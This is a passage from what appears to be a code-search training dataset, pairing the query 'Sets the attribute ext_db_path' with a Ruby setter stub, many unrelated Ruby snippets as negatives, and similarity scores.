filename\n end", "def raw_mime_dir_value\n parts.join(@delimiter)\n end", "def slapd_db_config_index\n ::File.basename(slapd_db_config_file).match(/{(\\d+)}#{ node['ca_openldap']['db_backend'] }\\.ldif/)[1]\n end", "def extension_attribute6\n return @extension_attribute6\n end", "def file_base_type(path)\r\n \t\tfile_name = File.basename(path)\r\n \t\textension = File.extname(file_name)\r\n \t\tfile_name = file_name[0, file_name.length - extension.length]\r\n \t\t(File.extname(file_name)[1..-1]).to_sym\r\n end", "def storage_path\n return nil unless db.running?\n db.storage_path\n end", "def slapd_db_config_file\n Dir[\"#{node['ca_openldap']['config_dir']}/cn=config/olcDatabase=\\{*\\}{#{ node['ca_openldap']['db_backend'] }}.ldif\"].first\n end", "def filename\n\t\treturn self.fullpath.split('/').last\n\tend", "def file_extension\n filename.split(\".\").last\n end", "def extname(path)\n File.extname(path)\n end", "def extname\n File.extname(url)\n end", "def extname\n File.extname(filename)\n end", "def filepath\n @filepath\n end", "def filepath\n @filepath\n end", "def filepath\n @filepath\n end", "def extension_attribute12\n return @extension_attribute12\n end", "def file_path; end", "def path\n @data[\"path\"].to_s\n end", "def file_ext\n File.extname(@file_name).downcase\n end", "def data_path(filetype)\n \"#{@datapath}.#{filetype}.txt\"\n end", "def extension_properties\n return @extension_properties\n end", "def path\n native.path\n end", "def get_full_file_path(file_id)\n path = $db.execute(\"SELECT file_path FROM files WHERE id = ?\", file_id)[0][\"file_path\"]\n return path + $db.execute(\"SELECT file_name FROM files WHERE id = ?\", file_id)[0][\"file_name\"]\nend" ]
[ "0.7334237", "0.7333733", "0.66358954", "0.6597917", "0.6575811", "0.6510848", "0.6510848", "0.63989675", "0.63763756", "0.6374886", "0.6374886", "0.6374886", "0.6374886", "0.63449854", "0.631336", "0.6271865", "0.6263179", "0.6249302", "0.6240995", "0.62256783", "0.619985", "0.619985", "0.619985", "0.6188119", "0.61723626", "0.6164245", "0.6148396", "0.61369073", "0.6110166", "0.61083966", "0.60604584", "0.6045137", "0.60002357", "0.5992209", "0.59888524", "0.59140617", "0.59104574", "0.5910003", "0.5906962", "0.5901794", "0.589831", "0.5878701", "0.5838917", "0.5838917", "0.5838917", "0.58273965", "0.5826102", "0.582291", "0.58219016", "0.5807658", "0.58064437", "0.57836777", "0.5761815", "0.57484734", "0.5743857", "0.57351303", "0.57312965", "0.5730084", "0.5728892", "0.57223415", "0.5720587", "0.5694247", "0.5664018", "0.5657241", "0.56557816", "0.5655414", "0.56521094", "0.5621047", "0.56138444", "0.56134266", "0.56134266", "0.56122196", "0.5609071", "0.56047696", "0.55776477", "0.5571497", "0.55684114", "0.55584", "0.5551805", "0.55517876", "0.5542444", "0.5538975", "0.5533144", "0.553239", "0.55244225", "0.5523992", "0.55191743", "0.5516302", "0.5491798", "0.5491798", "0.5491798", "0.5480941", "0.547866", "0.54757196", "0.5460194", "0.5459459", "0.54581326", "0.5443456", "0.54429346" ]
0.7712467
1
Sets the attribute ext_db_path
def ext_db_path=(_arg0); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ext_db_path; end", "def ext_db_path; end", "def database_path=(val)\n @database_path = val.index(\"://\").nil? ? \"sqlite3://#{val}\" : val\n load_signatures\n end", "def default_database_file_path=(file_path)\n\t\t\t@default_database_file_path = file_path\n\t\tend", "def set_data_file_path(data_file_path)\n PureHailDB.ib_cfg_set(\"data_file_path\", :string, data_file_path)\n end", "def db_path\n @db\n end", "def path=(value)\r\n result = Api.proj_context_set_database_path(self.context, value, nil, nil)\r\n unless result == 1\r\n Error.check_context(self.context)\r\n end\r\n self\r\n end", "def path\n @options[:database_path]\n end", "def path\n @options[:database_path]\n end", "def set_extensions(val)\n @extensions = val\n build_path_query\n @extensions\n end", "def set_log_file_path(data_file_path)\n PureHailDB.ib_cfg_set(\"log_group_home_dir\", :string, data_file_path)\n end", "def default_database_file_path\n\t\t\t@default_database_file_path ||= 'config/event_storage.yml'\n\t\tend", "def file=(value)\n begin\n #Kdb.open do |kdb|\n backend_root = Kdb::Key.new Kdbtools::MOUNTPOINTS_PATH\n backend_root.add_basename @resource[:name]\n\n # mountconf = Kdb::KeySet.new\n # kdb.get mountconf, backend_root\n perform_kdb_action backend_root do |mountconf|\n\n if path_key.nil?\n raise Puppet::Error, \"path key not found in backend config\"\n end\n\n path_key.value = @resource[:file]\n\n # kdb.set mountconf, backend_root\n end\n rescue\n Puppet.debug \"could not set file within backend, fallback to recreate mountpoint\"\n # fallback, recreate mountpoint\n recreate\n end\n end", "def absolute_db_path\n pn = Pathname.new(__FILE__)\n install_dir = pn.dirname.parent.parent.to_s + Pathname::SEPARATOR_LIST\n install_dir + @storage_location + @database_name\n end", "def db=(config)\n self.config[:db] = config\n end", "def driver_path\n File.absolute_path File.join(System.install_dir, file_name)\n end", "def post_configure\n super\n @path = File.expand_path(path)\n end", "def db_set_search_path(dbh, pid)\n dbh.execute(\"SET search_path = modencode_experiment_#{pid}_data\")\n end", "def content_type_db_path=(_arg0); end", "def content_type_db_path=(_arg0); end", "def set_path\n self.path = File.join(self.store_dir, self.filename)\n end", "def slapd_init_db_backend\n slapd_init_db_path_matcher[2]\n end", "def db=(my_db)\n @db = my_db\n end", "def db=(my_db)\n @db = my_db\n end", "def load_path=(load_path); end", "def db_record\n db or MyBiaDJ::Table(:files)[:path => relative_path, :name => name.to_s]\n end", "def db_file\n self.class.db_root.join(id) if id\n end", "def driver_path; end", "def driver_path; end", "def core_cfg_path\n File.expand_path(ENV[\"DBS_CFGDIR\"].presence || \"~/.db_sucker\")\n end", "def config_path=(value)\n @config_path = value\n end", "def set_DB()\n self.is_db = 1\n save()\n end", "def set_data_home_dir(data_home_dir)\n PureHailDB.ib_cfg_set(\"data_home_dir\", :string, data_home_dir)\n end", "def config_file_path=(path)\n self.config_file_paths = [path]\n end", "def db_file\n env_config['db_file'] || raise('environment problem:environment information not loaded')\n end", "def extension_attribute2=(value)\n @extension_attribute2 = value\n end", "def extension_attribute4=(value)\n @extension_attribute4 = value\n end", "def target_file_path_active_record?\n target_file_path =~ /gems\\/activerecord/\n end", "def filesystem_dir=(dir)\n @@filesystem_dir = dir\n end", "def extension=(extension)\n instance_set(:extension, extension)\n end", "def path=(path)\n @path = File.expand_path(path)\n end", "def ext ext = nil\n @ext = normalize_path(ext.to_s) if ext && configurable?\n @setup[:ext] ||= @ext ||\n (@controller.ctrl.slice.view.ext if @controller) ||\n Presto.view.ext\n end", "def path= path\n @path = path\n @fileInTable.path = @user + '/' + @group + '/' + @path\n save\n end", "def db=(db)\n raise Error, \"Cannot use Sequel::Model.db= on model with existing dataset. Use Sequel::Model.dataset= instead.\" if @dataset\n @db = db\n end", "def smb_auto_encrypted_file_extensions=(value)\n @smb_auto_encrypted_file_extensions = value\n end", "def extensions=(val)\n set_extensions(val)\n val\n end", "def mongrel=(_)\n @application.adapter = :mongrel\n end", "def config_path=(val)\n\t RequestStore.config_path = val\n\tend", "def add_extension_path(path)\n validate_extension(path)\n @options[:extension_paths] ||= []\n @options[:extension_paths] << path\n end", "def set_gisdata_dir\n raise StandardError, 'Must specify gis data dir in .env file' unless gis_data_dir.present?\n make_dir gis_data_dir\n make_dir File.join(gis_data_dir, 'temp')\n db_connection.execute(\n <<-SQL\n UPDATE tiger.loader_variables\n SET staging_fold = '#{gis_data_dir}';\n SQL\n )\n end", "def slapd_init_db_config_file\n Dir[\"#{node['ca_openldap']['config_dir']}/cn=config/olcDatabase=\\{*\\}{hdb,bdb,mdb}.ldif\"].first\n end", "def use_database(db)\n self.database = db\n end", "def server_attach(dbname, mode)\n #This is a stub, used for indexing\n end", "def query_enable_dblink\n <<-SQL.strip\n -- Load extension\n CREATE EXTENSION IF NOT EXISTS dblink SCHEMA public;\n SQL\n end", "def openid_file_store_path(value = nil)\n if value.nil?\n read_inheritable_attribute(:openid_file_store_path) || openid_file_store_path((defined?(RAILS_ROOT) && RAILS_ROOT + \"/tmp/openids\") || (defined?(Merb) && Merb.root + \"/tmp/openids\"))\n else\n write_inheritable_attribute(:openid_file_store_path, value)\n end\n end", "def extension_attribute1=(value)\n @extension_attribute1 = value\n end", "def ltree_path_in_database\n public_send :attribute_in_database, ltree_path_column\n end", "def extension_attribute7=(value)\n @extension_attribute7 = value\n end", "def patch_database_config(path)\n db_config_path = File.expand_path('config/database.yml', path)\n content = <<-YML\ndevelopment:\n url: <%= ENV['DATABASE_URL'] %>\ntest:\n url: <%= ENV['DATABASE_URL'] %>\n YML\n open(db_config_path, 'w').write(content)\n end", "def extensions=(value)\n @extensions = value\n end", "def extensions=(value)\n @extensions = value\n end", "def extensions=(value)\n @extensions = value\n end", "def extensions_dir\n Gem.default_ext_dir_for(base_dir) ||\n File.join(base_dir, 'extensions', Gem::Platform.local.to_s,\n Gem.extension_api_version)\n end", "def set_db(db_name)\n @db = db_name\n LibDrizzle.drizzle_con_set_db(@con_ptr, @db)\n end", "def add_extension(path); end", "def extension_attribute3=(value)\n @extension_attribute3 = value\n end", "def set_git_path basedir\n @git_path = basedir\n end", "def storage_path\n return Neo4j::Config.storage_path unless db.running?\n db.storage_path\n end", "def active_recordable_path\n @ar_path ||= File.join(\"app\", \"models\", \"#{ACTIVE_RECORDABLE}.rb\")\n end", "def ext\n @ext ||= File.extname(path)\n end", "def db=(db)\n @db = db\n if @dataset\n Sequel::Deprecation.deprecate(\"Sequel::Model.db= when the model has an existing dataset\", \"Use Sequel::Model.dataset= instead\")\n set_dataset(db.dataset.clone(@dataset.opts))\n end\n end", "def auth_ext_id=(val)\n\t\tself.auth_ext = Ecstore::AuthExt.find(val) if val.present?\n\tend", "def orm=(orm)\n unless ALLOWED_ORM_ADAPTERS.include?(orm)\n raise Errors::NotAllowedORMAdapterError.new, \"#{orm.to_s} adapter is currently not supported.\"\n end\n #require \"sofort/orm/#{orm.to_s}\"\n @@orm = orm\n end", "def cloud_path=(path)\n raise Error::InvalidCloudPath unless File.directory?(path)\n @config[:cloud_path] = File.expand_path(path)\n config_to_file\n end", "def model_path=(path)\n @model_path = path\n end", "def database=(*args) \n if args.first.is_a?(Array)\n reset_db = true\n url = args.first[0]\n context = args.first[1] || dm_setup_context || :default\n else\n url = args.first\n context = dm_setup_context || :default\n end\n set :dm_setup_context, context\n set :dm_database_url, url\n db_type = dm_database_url.split('://').first\n db_url = dm_database_url.sub(::APP_ROOT, '').sub(\"#{db_type}://\",'')\n puts \"-- - activated DataMapper #{db_type.capitalize} Database at [ #{db_url} ]\"\n database_reset if reset_db\n database_logger\n database\n end", "def excluded_file_extensions_for_sync_app=(value)\n @excluded_file_extensions_for_sync_app = value\n end", "def path=(path=\"\")\n path = Dir.pwd if not path or path.empty?\n @path = File.expand_path(path)\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def set_extension\n @extension = Extension.find(params[:id])\n end", "def extension_attribute6=(value)\n @extension_attribute6 = value\n end", "def tpl_ext=(ext); return @@tpl_ext = ext; end", "def db_root\n dataroot.join(\"db\").tap { |p| p.mkpath unless p.exist? }\n end", "def extension=(v) Axlsx::validate_string v; @extension = v end", "def extension_attribute9=(value)\n @extension_attribute9 = value\n end", "def path=(new_path)\n begin\n self.dev_path = Sys::Filesystem.mount_point new_path\n @dev_stat = nil\n rescue SystemCallError\n self.dev_path = nil\n end\n super\n end", "def data_path(path)\n return File.expand_path(File.join(@@config['dataPath'], path))\n end", "def path\n s = lib.tcidbpath( @db )\n return File.expand_path( s ) if s\n end", "def data_store_path\n Rails.root.join('data', self.data_dir)\n end", "def path=(path)\n @path= path\n end", "def work_dir=(path)\n path << '/' unless path.end_with?('/')\n @work_dir = path\n end", "def repository_path=(path)\n @repository_path = Pathname.new(path)\n end", "def dynamics_path=(path=nil)\n if(path)\n custom_paths[:dynamics_directory] = path\n end\n custom_paths[:dynamics_directory]\n end", "def dynamics_path=(path=nil)\n if(path)\n custom_paths[:dynamics_directory] = path\n end\n custom_paths[:dynamics_directory]\n end", "def extension_properties=(value)\n @extension_properties = value\n end", "def extension_attribute8=(value)\n @extension_attribute8 = value\n end", "def base_path=(base_path)\n @base_path = base_path\n end", "def extension_attribute14=(value)\n @extension_attribute14 = value\n end" ]
[ "0.78596187", "0.78596187", "0.66641337", "0.65256745", "0.63663983", "0.6299413", "0.5958631", "0.5946366", "0.5946366", "0.57527965", "0.5747584", "0.5663391", "0.5639228", "0.5637322", "0.56135833", "0.56046647", "0.5601055", "0.5571381", "0.5559642", "0.5559642", "0.55230427", "0.54774314", "0.5437697", "0.5437697", "0.541209", "0.5397718", "0.53900844", "0.5375482", "0.5375482", "0.53697485", "0.53454626", "0.5335795", "0.5321766", "0.5319006", "0.5296702", "0.5270101", "0.52641535", "0.5259436", "0.5236957", "0.5233713", "0.5228078", "0.52222437", "0.5220679", "0.52036834", "0.5192438", "0.5191847", "0.51835203", "0.5182444", "0.5176802", "0.51684135", "0.51531875", "0.51442677", "0.51300067", "0.51233065", "0.50889695", "0.5088189", "0.5079009", "0.507818", "0.5077076", "0.50757545", "0.50757545", "0.50757545", "0.5072453", "0.5055571", "0.5046747", "0.50453126", "0.50426376", "0.50339514", "0.5031638", "0.5027797", "0.5016919", "0.50081706", "0.5000563", "0.4966195", "0.49630186", "0.49592024", "0.4957502", "0.49571472", "0.49443182", "0.49443182", "0.49443182", "0.49314722", "0.49239242", "0.49186915", "0.49179068", "0.4914749", "0.48785058", "0.48742455", "0.48714086", "0.4853877", "0.48392344", "0.48374963", "0.48317078", "0.48252407", "0.48252407", "0.4824316", "0.48221457", "0.48219803", "0.4818364" ]
0.7895364
1
lifted from marcandre/backports source://mini_mime//lib/mini_mime.rb127
def lookup_uncached(val); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def negotiate_mime(order); end", "def mime_type=(_arg0); end", "def mime_type=(_arg0); end", "def mime_type=(_arg0); end", "def mime_type(media_type: T.unsafe(nil)); end", "def mime_type; end", "def mime_type; end", "def mime_type; end", "def mime_type; end", "def mime_type=(_); end", "def mime_type(*args, **_arg1, &block); end", "def content_mime_type; end", "def multipart; end", "def mime_type_and_size\n#(<%=media_item.content_type%>, <%=bytes_to_size(media_item.size)%>)\n result = \"\"\n if !content_type.blank?\n result << content_type\n end\n \n if !size.blank?\n result << ', ' if !result.blank?\n result << bytes_to_size(size)\n end\n \n result = '(' << result << ')' if !result.blank?\nend", "def media_type\r\ncontent_mime_type.to_s\r\nend", "def media_type; end", "def media_type; end", "def mime\n self.class.mime(self)\n end", "def _extract_mime_type_with_filemagic(io)\n filemagic = FileMagic.new(FileMagic::MAGIC_MIME_TYPE)\n data = io.read(MAGIC_NUMBER); io.rewind\n filemagic.buffer(data)\n end", "def mime_version\n (@mime_version ||= \"1.0\")\n end", "def de_mime(quad)\n num = 0\n sub = 3\n quad.each_byte do |x|\n if x.between?(0x41, 0x5a) ; x -= 0x41\n elsif x.between?(0x61, 0x7a) ; x -= 0x47\n elsif x.between?(0x30, 0x39) ; x += 0x4\n elsif x == 0x2b ; x = 0x3e\n elsif x == 0x2f ; x = 0x3f\n else\n x = 0\n sub -= 1\n end\n num = (num << 6) + x\n end # of each byte\n ret = (num >> 16).chr + ((num >> 8) & 0xFF).chr + (num & 0xFF).chr\n ret[0,sub]\n end", "def magic_mime_type\n return if new_record?\n return unless File.exists? io_stream.path\n FileMagic.mime.file(io_stream.path).split(/;\\s*/).first\n end", "def multipart?; end", "def mime_part\n message.mime_part\n end", "def filename_and_content_to_mimetype(filename, content)\n # Try filename\n ret = filename_to_mimetype(filename)\n if !ret.nil?\n return ret\n end\n\n # Otherwise look inside the file to work out the type.\n # Mahoro is a Ruby binding for libmagic.\n m = Mahoro.new(Mahoro::MIME)\n mahoro_type = m.buffer(content)\n mahoro_type.strip!\n #STDERR.puts(\"mahoro\", mahoro_type, \"xxxok\")\n # XXX we shouldn't have to check empty? here, but Mahoro sometimes returns a blank line :(\n # e.g. for InfoRequestEvent 17930\n if mahoro_type.nil? || mahoro_type.empty?\n return nil\n end\n # text/plain types sometimes come with a charset\n mahoro_type.match(/^(.*);/)\n if $1\n mahoro_type = $1\n end\n # see if looks like a content type, or has something in it that does\n # and return that\n # mahoro returns junk \"\\012- application/msword\" as mime type.\n mahoro_type.match(/([a-z0-9.-]+\\/[a-z0-9.-]+)/)\n if $1\n return $1\n end\n # otherwise we got junk back from mahoro\n return nil\nend", "def _extract_mime_type_with_mimemagic(io)\n MimeMagic.by_magic(io).type\n end", "def parsed_content_type_header; end", "def file(file, simplified = simplified?)\n simplify_mime(fm_file(file), simplified)\n end", "def mime_type\n raise NotImplementedError.new 'This is only a function body for documentation'\n end", "def media_type(meta, file)\n tags = meta.inject(&:merge)\n tags.fetch 'MIMEType', Rack::Mime.mime_type(File.extname(file))\n end", "def buffer(buffer, simplified = simplified?)\n simplify_mime(fm_buffer(buffer), simplified)\n end", "def decode_mime!(method = nil)\n self.replace(self.decode_mime(method))\n end", "def decode_mime(method = nil)\n method ||= guess_mime_encoding\n method = method.downcase if method.kind_of?(String)\n case method\n when :none\n self\n when :base64, 'b', 'base64'\n self.decode_base64\n when :quoted_printable, 'q', 'quoted-printable'\n self.decode_quoted_printable\n else\n raise ArgumentError, \"Bad MIME encoding\"\n end\n end", "def mimetype; @mimetype ||= `file -b --mime-type '#@fname'`.strip; end", "def convert_uu(msg)\n nmsg = nil\n\n nbody = msg.decode.gsub(UU_RE) { |s|\n filename, data = $1, $2.unpack('u')\n\n $stderr.puts \"%sFound a uuencoded section!\\n\" % [ $indent ] if $DEBUG\n\n unless nmsg\n # Now that we know there's a uuencoded section, build up a\n # multipart message\n nmsg = RMail::Message.new\n nmsg.header.replace(msg.header.dup)\n nmsg.header.delete('Content-Transfer-Encoding')\n nmsg.header.delete('Content-Length')\n nmsg.header.delete('Lines')\n nmsg.header.set('Content-Type', 'multipart/mixed', \n 'boundary' => '=-=-=-=-uu2mime-boundary-'+nmsg.object_id.to_s)\n nmsg.header.set('Content-Disposition', 'inline')\n nmsg.preamble = \"This is a multipart message converted by uu2mime\\n\"\n nmsg.epilogue = ''\n\n # This will eventually be the text/plain portion\n nmsg.add_part(RMail::Message.new)\n end\n\n # Convert this uuencoded section to an attachment\n npart = RMail::Message.new\n npart.header.set('Content-Type', 'application/octet-stream')\n npart.header.set('Content-Disposition', 'attachment', \n 'filename' => filename)\n npart.header.set('Content-Transfer-Encoding', 'base64')\n npart.body = data.pack('m')\n nmsg.add_part(npart)\n\n # Replace the uuencoded section with a note\n '[-- uu2mime snipped ' + filename + ' --]'\n }\n\n if nmsg\n # Tack the text/plain portion on the front.\n # Remove the old Content-Transfer-Encoding header since we've\n # decoded the section (is this the best?)\n nmsg.part(0).header.set('Content-Type', 'text/plain',\n 'charset' => 'us-ascii')\n nmsg.part(0).header.set('Content-Disposition', 'inline')\n nmsg.part(0).body = nbody\n end\n\n return nmsg\nend", "def qualify_mime_type(thing, types)\n weigh_mime_type(thing, types).first\n end", "def photo__mime_type\r\nif !self.photo__name.blank?\r\n mt = MIME::Types.of(File.extname(self.photo__name)).first\r\n return mt ? mt.content_type : \"application/octet-stream\"\r\nend\r\nend", "def guess_mime_encoding\n # Grab the first line and have a guess?\n # A multiple of 4 and no characters that aren't in base64 ?\n # Need to allow for = at end of base64 string\n squashed = self.tr(\"\\r\\n\\s\", '').strip.sub(/=*\\Z/, '')\n if squashed.length.remainder(4) == 0 && squashed.count(\"^A-Za-z0-9+/\") == 0\n :base64\n else\n :quoted_printable\n end\n # or should we just try both and see what works?\n end", "def by_magic(io); end", "def best_mime_encoding\n if self.is_ascii?\n :none\n elsif self.length > (self.mb_chars.length * 1.1)\n :base64\n else\n :quoted_printable\n end\n end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def content_type; end", "def mime(path)\n magic(path, Magic::MIME)\n end", "def ext\n Rack::Mime::MIME_TYPES.invert[data_content_type]\n end", "def mime_type(mt=nil)\n @_mime_type = mt unless mt.nil?\n @_mime_type\n end", "def content_type=(_arg0); end", "def content_type=(_arg0); end", "def content_type=(_arg0); end", "def mime_type\n return content_type\nend", "def parse(content_disposition, header = T.unsafe(nil)); end", "def initialize str, ignore_body=false\n \t\theaders, @body = $~[1..-1] if str[/(.*?\\r?\\n)(?:\\r?\\n(.*))?\\Z/m]\n\n \t\t@headers = Hash.new { |hash, key| hash[key] = [] }\n \t\t@body ||= ''\n \t\theaders.to_s.scan(/^\\S+:\\s*.*(?:\\n\\t.*)*/).each do |header|\n \t\t\t@headers[header[/(\\S+):/, 1]] << header[/\\S+:\\s*(.*)/m, 1].gsub(/\\s+/m, ' ').strip # this is kind of wrong\n \t\tend\n\n \t\t# don't have to have content type i suppose\n \t\t@content_type, attrs = nil, {}\n \t\tif content_type = @headers['Content-Type'][0]\n \t\t\t@content_type, attrs = Mime.split_header content_type\n \t\tend\n\n \t\treturn if ignore_body\n\n \t\tif multipart?\n \t\t\tif body.empty?\n \t\t\t\t@preamble = ''\n \t\t\t\t@epilogue = ''\n \t\t\t\t@parts = []\n \t\t\telse\n \t\t\t\t# we need to split the message at the boundary\n \t\t\t\tboundary = attrs['boundary'] or raise \"no boundary for multipart message\"\n\n \t\t\t\t# splitting the body:\n \t\t\t\tparts = body.split(/--#{Regexp.quote boundary}/m)\n \t\t\t\tunless parts[-1] =~ /^--/; warn \"bad multipart boundary (missing trailing --)\"\n \t\t\t\telse parts[-1][0..1] = ''\n \t\t\t\tend\n \t\t\t\tparts.each_with_index do |part, i|\n \t\t\t\t\tpart =~ /^(\\r?\\n)?(.*?)(\\r?\\n)?\\Z/m\n \t\t\t\t\tpart.replace $2\n \t\t\t\t\twarn \"bad multipart boundary\" if (1...parts.length-1) === i and !($1 && $3)\n \t\t\t\tend\n \t\t\t\t@preamble = parts.shift\n \t\t\t\t@epilogue = parts.pop\n \t\t\t\t@parts = parts.map { |part| Mime.new part }\n \t\t\tend\n \t\tend\n \tend", "def content_type(ext)\n case ext\n when \"gif\": \"image/gif\"\n when \"jpg\": \"image/jpeg\"\n when \"png\": \"image/png\"\n else \"application/octet-stream\"\n end\nend", "def meta_content_type(body); end", "def parse_setext_header; end", "def embed(src, mime_type, label)\nend", "def mime_type\n Rack::Mime.mime_type(extname)\n end", "def _extract_mime_type_with_file(io)\n cmd = [\"file\", \"--mime-type\", \"--brief\"]\n\n if io.respond_to?(:path)\n mime_type, _ = Open3.capture2(*cmd, io.path)\n else\n mime_type, _ = Open3.capture2(*cmd, \"-\", stdin_data: io.read(MAGIC_NUMBER), binmode: true)\n io.rewind\n end\n\n mime_type.strip unless mime_type.empty?\n end", "def general_mime_magic_specs\n it { is_expected.to contain_apache__mod('mime_magic') }\nend", "def _mime_type\n if defined? @_mime_type\n @_mime_type\n else\n guesses = ::MIME::Types.type_for(extname.to_s)\n\n # Prefer text mime types over binary\n @_mime_type = guesses.detect { |type| type.ascii? } || guesses.first\n end\n end", "def mime\n @mime ||= MimeMagic.by_extension(extension) ||\n (Config.mime.magic && MimeMagic.by_magic(content)) ||\n MimeMagic.new(Config.mime.default)\n end", "def filemagic\n @filemagic ||= FileMagic.new(FileMagic::MAGIC_MIME_TYPE)\n end", "def mime_type(file)\n header = file.read(8)\n unless header\n file.open\n header = file.read(8)\n end\n file.pos = 0\n if ( /^\\x89PNG/n.match(header) ) \n return \"image/png\"\n elsif (/^GIF8[79]a/n.match(header) )\n return \"image/gif\"\n elsif( /^\\xff\\xd8/n.match(header) )\n return \"image/jpeg\"\n elsif( /^BM/n.match(header) )\n return \"image/bmp\"\n end\n end", "def mime_content_for mime_part, preferred_type\n return \"\" unless mime_part.body # sometimes this happens. not sure why.\n\n mt = mime_type_for(mime_part) || \"text/plain\" # i guess\n content_type = if mt =~ /^(.+);/ then $1.downcase else mt end\n source_charset = if mt =~ /charset=\"?(.*?)\"?(;|$)/i then $1 else \"US-ASCII\" end\n\n content = mime_part.decode\n converted_content, converted_charset = if(converter = CONVERSIONS[[content_type, preferred_type]])\n send converter, content, source_charset\n else\n [content, source_charset]\n end\n\n if content_type =~ /^text\\//\n Decoder.transcode \"utf-8\", converted_charset, converted_content\n else\n converted_content\n end\n end", "def mime_from_file(filepath)\n # moved here, as mimemagic can cause installation issues\n require 'mimemagic'\n require 'mimemagic/version'\n require 'mimemagic/overlay' if MimeMagic::VERSION.start_with?('0.3.')\n # check magic number inside file (empty string if not found)\n detected_mime=MimeMagic.by_magic(File.open(filepath)).to_s\n # check extension only\n if !SUPPORTED_MIME_TYPES.has_key?(detected_mime)\n Log.log.debug(\"no conversion for #{detected_mime}, trying extension\")\n detected_mime=MimeMagic.by_extension(File.extname(filepath)).to_s\n end\n detected_mime=nil if detected_mime.empty?\n Log.log.debug(\"mimemagic: #{detected_mime.class.name} [#{detected_mime}]\")\n return detected_mime\n end", "def file_to_multipart(key,filename,mime_type,content)\n return \"Content-Disposition: form-data; name=\\\"#{CGI::escape(key)}\\\"; filename=\\\"#{File.basename(filename)}\\\"\\r\\n\" +\n \"Content-Transfer-Encoding: binary\\r\\n\" +\n \"Content-Type: #{mime_type}\\r\\n\" +\n \"\\r\\n\" +\n \"#{content}\\r\\n\"\nend", "def requested_file(request_line)\r\n # ... implementation details to be discussed later ...\r\nend", "def fix_mxf_characterization!\n self.characterization.mime_type = 'application/mxf' if mime_type == 'application/octet-stream' && format_label == [\"Material Exchange Format\"]\n end", "def mime(*flags, &block)\n open(:mime, *flags, &block)\n end", "def stringy_media_type\n request.content_mime_type.to_s\n end", "def general_mime_specs\n it { is_expected.to contain_apache__mod('mime') }\n\n it do\n expect(subject).to contain_file('mime.conf').with_content(%r{AddHandler type-map var})\n expect(subject).to contain_file('mime.conf').with_content(%r{ddOutputFilter INCLUDES .shtml})\n expect(subject).to contain_file('mime.conf').with_content(%r{AddType text/html .shtml})\n expect(subject).to contain_file('mime.conf').with_content(%r{AddType application/x-compress .Z})\n end\nend", "def file_utils; end", "def sniff_mime(content)\n m = MimeMagic.by_magic(content)\n return if m.nil?\n\n # Overwrite incorrect mime types\n case m.type.to_s\n when 'application/xhtml+xml'\n return 'text/html'\n when 'text/x-csrc'\n return 'text/css'\n end\n\n m.type\n rescue\n nil\n end", "def _extract_mime_type_with_mime_types(io)\n if filename = extract_filename(io)\n mime_type = MIME::Types.of(filename).first\n mime_type.to_s if mime_type\n end\n end", "def mime_content_for mime_part, preferred_type\n return \"\" unless mime_part.body # sometimes this happens. not sure why.\n\n content_type = mime_part.fetch_header(:content_type) || \"text/plain\"\n source_charset = mime_part.charset || \"US-ASCII\"\n\n content = mime_part.decoded\n converted_content, converted_charset = if(converter = CONVERSIONS[[content_type, preferred_type]])\n send converter, content, source_charset\n else\n [content, source_charset]\n end\n\n if content_type =~ /^text\\//\n Decoder.transcode \"utf-8\", converted_charset, converted_content\n else\n converted_content\n end\n end", "def ext; end", "def ext; end", "def mime_find(mime)\n MIME_MAP[mime] || {:name => \"Unknown file type\", :icon_key => \"misc_file\"}\n end", "def has_multipart?(obj); end", "def get_mime_type file\n FileMagic.new(FileMagic::MAGIC_MIME).file(file).split(';').first\n end", "def decode_mime_parts part, preferred_type, level=0\n if part.multipart?\n if mime_type_for(part) =~ /multipart\\/alternative/\n target = part.body.parts.find { |p| mime_type_for(p).index(preferred_type) } || part.body.parts.first\n if target # this can be nil\n decode_mime_parts target, preferred_type, level + 1\n else\n []\n end\n else # decode 'em all\n part.body.parts.compact.map { |subpart| decode_mime_parts subpart, preferred_type, level + 1 }.flatten 1\n end\n else\n type = mime_type_for part\n filename = mime_filename_for part\n id = mime_id_for part\n content = mime_content_for part, preferred_type\n [[type, filename, id, content]]\n end\n end", "def decode_mime_parts part, preferred_type, level=0\n if part.multipart?\n if mime_type_for(part) =~ /multipart\\/alternative/\n target = part.body.find { |p| mime_type_for(p).index(preferred_type) } || part.body.first\n if target # this can be nil\n decode_mime_parts target, preferred_type, level + 1\n else\n []\n end\n else # decode 'em all\n part.body.compact.map { |subpart| decode_mime_parts subpart, preferred_type, level + 1 }.flatten 1\n end\n else\n type = mime_type_for part\n filename = mime_filename_for part\n id = mime_id_for part\n content = mime_content_for part, preferred_type\n [[type, filename, id, content]]\n end\n end", "def has_mime_version?\n header.has_mime_version?\n end", "def mime_type_of(f)\n MIME::Types.of(f).last || default_mime_type\n end", "def compression_server; end", "def add_mime_types\n puts \"Updating Mime Types\"\n insert_into_file \"config/initializers/mime_types.rb\", :after => \"# Be sure to restart your server when you modify this file.\" do <<EOF\nMime::Type.register_alias \"text/plain\", :refworks_marc_txt\nMime::Type.register_alias \"text/plain\", :openurl_kev\nMime::Type.register \"application/x-endnote-refer\", :endnote\nMime::Type.register \"application/marc\", :marc\nMime::Type.register \"application/marcxml+xml\", :marcxml, \n [\"application/x-marc+xml\", \"application/x-marcxml+xml\", \n \"application/marc+xml\"]\nEOF\n end \n end", "def add_mime_version(ver_val = '')\n header['mime-version'] = ver_val\n end", "def mime\n @mime ||= if meta?\n YAML_MIME\n else\n mime = MimeMagic.by_extension(extension) ||\n (Config.mime.magic && MimeMagic.by_magic(content)) ||\n MimeMagic.new(Config.mime.default)\n end\n end", "def parse_atx_header_gfm_quirk; end", "def map_type_to_mime(type)\n case type\n when \"photo\"\n return AppConstants.mime_remote_image\n when \"video\"\n return AppConstants.mime_remote_video\n when \"music\"\n return AppConstants.mime_remote_music\n when \"link\"\n return AppConstants.mime_remote_link\n else\n return AppConstants.mime_remote_link\n end\n rescue => e\n Rails.logger.error(\"[LIB] [API] [HELPERS] [PARSER] [map_type_to_mime] **** RESCUE **** => #{e.message} for #{type}\")\n AppConstants.mime_remote_link\n end", "def enctype=(_arg0); end", "def 